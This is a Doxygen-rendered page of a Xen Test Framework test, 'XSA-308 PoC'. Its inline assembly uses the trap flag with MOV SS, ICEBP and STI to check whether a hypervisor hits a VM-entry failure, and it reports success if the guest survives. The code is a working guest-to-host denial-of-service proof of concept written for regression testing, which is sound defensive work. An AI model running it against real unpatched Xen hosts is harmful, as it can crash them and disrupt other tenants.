Xen Test Framework
tests
xsa-308
main.c
Go to the documentation of this file.
1
22
#include <xtf.h>
23
24
const
char
test_title
[] =
"XSA-308 PoC"
;
25
26
void
__user_text
movss
(
void
)
27
{
28
unsigned
int
tmp;
29
30
asm
volatile
(
"mov %%ss, %[tmp];"
31
"pushf;"
32
"pushf;"
33
"orl $"
STR
(
X86_EFLAGS_TF
)
", (%%"
_ASM_SP
");"
34
"popf;"
35
"mov %[tmp], %%ss;"
36
".byte 0xf1;"
37
"1:; "
_ASM_TRAP_OK
(1b)
38
"popf;"
39
"1:; "
_ASM_TRAP_OK
(1b)
40
: [tmp]
"=r"
(tmp));
41
}
42
43
void
test_main
(
void
)
44
{
45
exec_user_void
(
movss
);
46
47
asm
volatile
(
"pushf;"
48
"pushf;"
49
"orl $"
STR
(
X86_EFLAGS_TF
)
", (%"
_ASM_SP
");"
50
"popf;"
51
"sti;"
52
"1:; "
_ASM_TRAP_OK
(1b)
53
"popf;"
54
"1:; "
_ASM_TRAP_OK
(1b)
55
"cli;"
);
56
57
/* If the VM is still alive, it didn't suffer a vmentry failure. */
58
xtf_success
(
"Success: Not vulnerable to XSA-308\n"
);
59
}
60
61
/*
62
* Local variables:
63
* mode: C
64
* c-file-style: "BSD"
65
* c-basic-offset: 4
66
* tab-width: 4
67
* indent-tabs-mode: nil
68
* End:
69
*/
_ASM_SP
#define _ASM_SP
Definition:
asm_macros.h:37
__user_text
#define __user_text
Definition:
compiler.h:33
test_main
void test_main(void)
To be implemented by each test, as its entry point.
Definition:
main.c:110
test_title
const char test_title[]
The title of the test.
Definition:
main.c:24
_ASM_TRAP_OK
#define _ASM_TRAP_OK(loc)
Create an exception table entry, whitelisting a trap as being ok at loc.
Definition:
extable.h:57
exec_user_void
static void exec_user_void(void(*fn)(void))
Definition:
lib.h:70
STR
#define STR(x)
Stringise an expression, expanding preprocessor tokens.
Definition:
macro_magic.h:17
X86_EFLAGS_TF
#define X86_EFLAGS_TF
Definition:
processor.h:13
xtf_success
void xtf_success(const char *fmt,...)
Report test success.
Definition:
report.c:38
movss
void movss(void)
Definition:
main.c:26
Generated by
1.9.4